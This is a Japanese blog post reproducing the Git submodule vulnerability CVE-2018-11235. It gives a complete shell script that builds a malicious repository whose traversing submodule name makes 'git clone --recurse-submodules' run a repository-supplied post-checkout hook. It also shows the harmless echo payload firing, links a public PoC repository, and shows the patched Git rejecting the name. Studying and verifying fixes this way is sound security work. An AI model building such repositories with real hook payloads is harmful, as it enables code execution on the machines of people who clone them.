先日、Gitの脆弱性(CVE-2018-11235)が発表されました。
NVDのDescriptionには以下のように説明されています。
In Git before 2.13.7, 2.14.x before 2.14.4, 2.15.x before 2.15.2, 2.16.x before 2.16.4, and 2.17.x before 2.17.1, remote code execution can occur. With a crafted .gitmodules file, a malicious project can execute an arbitrary script on a machine that runs "git clone --recurse-submodules" because submodule "names" are obtained from this file, and then appended to $GIT_DIR/modules, leading to directory traversal with "../" in a name. Finally, post-checkout hooks from a submodule are executed, bypassing the intended design in which hooks are not obtained from a remote server.
細工された.gitmoduleのあるプロジェクトをgit clone --recurse-submodulesすると、攻撃者が用意した任意のスクリプトの実行につながるとのこと。サブモジュールの名前は、.gitmoduleから取得され、名前に../使うことでディレクトリトラバーサルをすることができ、攻撃者の用意したpost-checkoutのhookが実行されてしまうようです。
この脆弱性のGitの修正コミットは以下にあります。
Credit for finding this vulnerability and the proof of concept from which the test script was adapted goes to Etienne Stalmans.
コメントにもありますが、修正コミットのテストコードにPoCが含まれています。
テストコードのPoCを参考に自分の環境で脆弱性の再現を行いました。
git/t7415-submodule-names.sh at 0383bbb9015898cbc79abd7b64316484d7713b44 · git/git · GitHub
環境
実行環境とGitのバージョンとか。
$ uname -a Darwin MacMini 17.5.0 Darwin Kernel Version 17.5.0: Fri Apr 13 19:32:32 PDT 2018; root:xnu-4570.51.2~1/RELEASE_X86_64 x86_64 $ sw_vers -productVersion 10.13.4 $ git --version git version 2.14.3 (Apple Git-98)
脆弱性の有無の確認方法
submodule名に../が含まれる際に弾かれるかどうかで確認可能です。
脆弱性あり
$ git --version git version 2.14.3 (Apple Git-98) $ git submodule add --name ../../modules/evil https://otameshi61@bitbucket.org/otameshi61/cve-2018-11235.git evil Cloning into '/Users/saso/tmp/bbb/fuga/test/fuga/evil'... remote: Counting objects: 46, done. remote: Compressing objects: 100% (33/33), done. remote: Total 46 (delta 1), reused 0 (delta 0) Unpacking objects: 100% (46/46), done.
脆弱性対応済み
$ git --version git version 2.17.1 $ git submodule add --name ../../modules/evil https://otameshi61@bitbucket.org/otameshi61/cve-2018-11235.git evil '../../modules/evil' is not a valid submodule name
もっと手軽に、これでエラーが出るかどうかでも確かめることができるそうです(エラーが出れば対策済み)。
git init test && \ cd test && \ git update-index --add --cacheinfo 120000,e69de29bb2d1d6434b8b29ae775ad8c2e48c5391,.gitmodules
Edward Thomson: Upgrading git for the May 2018 Security Release
悪意あるレポジトリの作成
悪意あるレポジトリは以下のようなshell scriptで作成可能です。
CVE-2018-11235.sh
#!/bin/sh # 悪意あるsubmoduleを含んだレポジトリ用のディレクトリを作成する mkdir evil_repo cd evil_repo git init # ここで追加するのは別になんでも良い git submodule add https://github.com/otms61/innocent.git evil # 正常な.git/modules/evilから攻撃コードを置く用の./modules/evilを用意する mkdir modules cp -r .git/modules/evil modules # hookにセットするスクリプトを用意する echo '#!/bin/sh' > modules/evil/hooks/post-checkout echo 'echo >&2 "RUNNING POST CHECKOUT"' >> modules/evil/hooks/post-checkout chmod +x modules/evil/hooks/post-checkout git add modules git commit -am evil # もとのPoCで設定されてたがよくわかっていない。。なくてもとりあえず動く。 git config -f .gitmodules submodule.evil.update checkout # submoduleの名前をevilから ../../modules/evilに変更する git config -f .gitmodules --rename-section submodule.evil submodule.../../modules/evil # .git/moduleの下に何かないとcheckoutに失敗するので、普通のやつも用意してあげる git submodule add https://github.com/otms61/innocent.git another-module git add another-module git commit -am another git add .gitmodules git commit -am .gitmodule
簡単にですがsubmoduleの設定とhookのスクリプトについて説明を補足します。
submodule名を../../modules/evilにする
雑にコメントを書きましたが、
git config -f .gitmodules --rename-section submodule.evil submodule.../../modules/evil
で、submodule 名をevilから../../modules/evilに変更しています。
git config [<file-option>] --rename-section old_name new_name
.
が3連続で、ちょっとわかりにくいですが、nameの形式がsubmodule.<module名>のせいです。
.gitmoduleはこのようになっています。
$ cat evil_repo/.gitmodules [submodule "../../modules/evil"] path = evil url = https://github.com/otms61/innocent.git update = checkout [submodule "another-module"] path = another-module url = https://github.com/otms61/innocent.git
hookのスクリプトを用意する
hookのスクリプトを探すロジックを正確に確認はできていないのですが、以下のような感じだと予想しています。 hookスクリプトを探す場合、
evil_repo/.git/modules/${submodule_name}/hooks/post-checkout
に置かれたスクリプトを探してると思われますが、このsubmodule_nameを../../modules/evilとすることで、
evil_repo/.git/modules/../../modules/evil/hooks/post-checkout # つまり以下のパス evil_repo/modules/evil/hooks/post-checkout
と、hookのスクリプトを.git配下から、レポジトリ上に置かれたスクリプトに向けることができます。この向き先に攻撃者がスクリプトを用意しておくことで、hookからスクリプトを実行することができます。
また、post-checkoutの内容はこのようになっています。
$ cat evil_repo/modules/evil/hooks/post-checkout #!/bin/sh echo >&2 "RUNNING POST CHECKOUT"
動作確認
./CVE-2018-11235.sh でローカルにevil_repoというレポジトリを作成し、これを--recurse-submodulesでcloneします。
$ ./CVE-2018-11235.sh ・・・ $ git clone --recurse-submodules evil_repo test Cloning into 'test'... done. Submodule 'another-module' (https://github.com/otms61/innocent.git) registered for path 'another-module' Submodule '../../modules/evil' (https://github.com/otms61/innocent.git) registered for path 'evil' Cloning into '/private/tmp/test/another-module'... remote: Counting objects: 3, done. remote: Total 3 (delta 0), reused 3 (delta 0), pack-reused 0 Submodule path 'another-module': checked out '8d0ef81b89520c725065da10b4ee76568425daa5' RUNNING POST CHECKOUT Submodule path 'evil': checked out '8d0ef81b89520c725065da10b4ee76568425daa5'
終わりの方で、 RUNNING POST CHECKOUT
と出力されていることがわかりますね!
GitHubは対策されてた。すごい!
GitHubに、上記で作成したコードをあげようとしたら弾かれてしまいました。GitHubすごい!
$ git remote add origin git@github.com:otms61/CVE-2018-11235.git $ git push origin master Counting objects: 47, done. Delta compression using up to 4 threads. Compressing objects: 100% (34/34), done. Writing objects: 100% (47/47), 10.53 KiB | 1.50 MiB/s, done. Total 47 (delta 1), reused 0 (delta 0) fatal: The remote end hung up unexpectedly fatal: The remote end hung up unexpectedly
他のところはあげられたので、試したいという方は以下でも試すことはできます。
otameshi61 / CVE-2018-11235 / source / — Bitbucket
echoするスクリプトを置いてるだけですが、実行する場合は自己責任でお願いします。
$ git clone --recurse-submodules https://otameshi61@bitbucket.org/otameshi61/cve-2018-11235.git 2>&1 | grep POST RUNNING POST CHECKOUT
対策されたバージョンのgitだとこんな感じになります。スクリプトも動いてないことがわかります。
$ git --version git version 2.17.1 $ git clone --recurse-submodules https://otameshi61@bitbucket.org/otameshi61/cve-2018-11235.git 2>&1 Cloning into 'cve-2018-11235'... remote: Counting objects: 46, done. remote: Compressing objects: 100% (33/33), done. remote: Total 46 (delta 1), reused 0 (delta 0) Unpacking objects: 100% (46/46), done. warning: ignoring suspicious submodule name: ../../modules/evil warning: ignoring suspicious submodule name: ../../modules/evil warning: ignoring suspicious submodule name: ../../modules/evil Submodule 'another-module' (https://github.com/otms61/innocent.git) registered for path 'another-module' warning: ignoring suspicious submodule name: ../../modules/evil warning: ignoring suspicious submodule name: ../../modules/evil warning: ignoring suspicious submodule name: ../../modules/evil Cloning into '/Users/saso/tmp/bbb/cve-2018-11235/another-module'... remote: Counting objects: 3, done. remote: Total 3 (delta 0), reused 3 (delta 0), pack-reused 0 warning: ignoring suspicious submodule name: ../../modules/evil warning: ignoring suspicious submodule name: ../../modules/evil warning: ignoring suspicious submodule name: ../../modules/evil Submodule path 'another-module': checked out '8d0ef81b89520c725065da10b4ee76568425daa5'
感想
発見された方が以下のツイートをされていて、来週公開予定とのこと。楽しみですね。
kubernetesのGitRepo volume optionオプションで、node上のrootが取れるらしい。 www.youtube.com
今回の脆弱性は、redditが比較的盛り上がってるなぁとながめていました。 www.reddit.com
ちょっと前にあったサブモジュールの脆弱性みたいな感じでかなぁと思いつつ、ディレクトリトラバーサルからどうやって攻撃につなげるんだ?という疑問から調べていました。 サブモジュールの管理情報を.gitから外側に向けるのは鮮やかだなと感じました。
おしまい。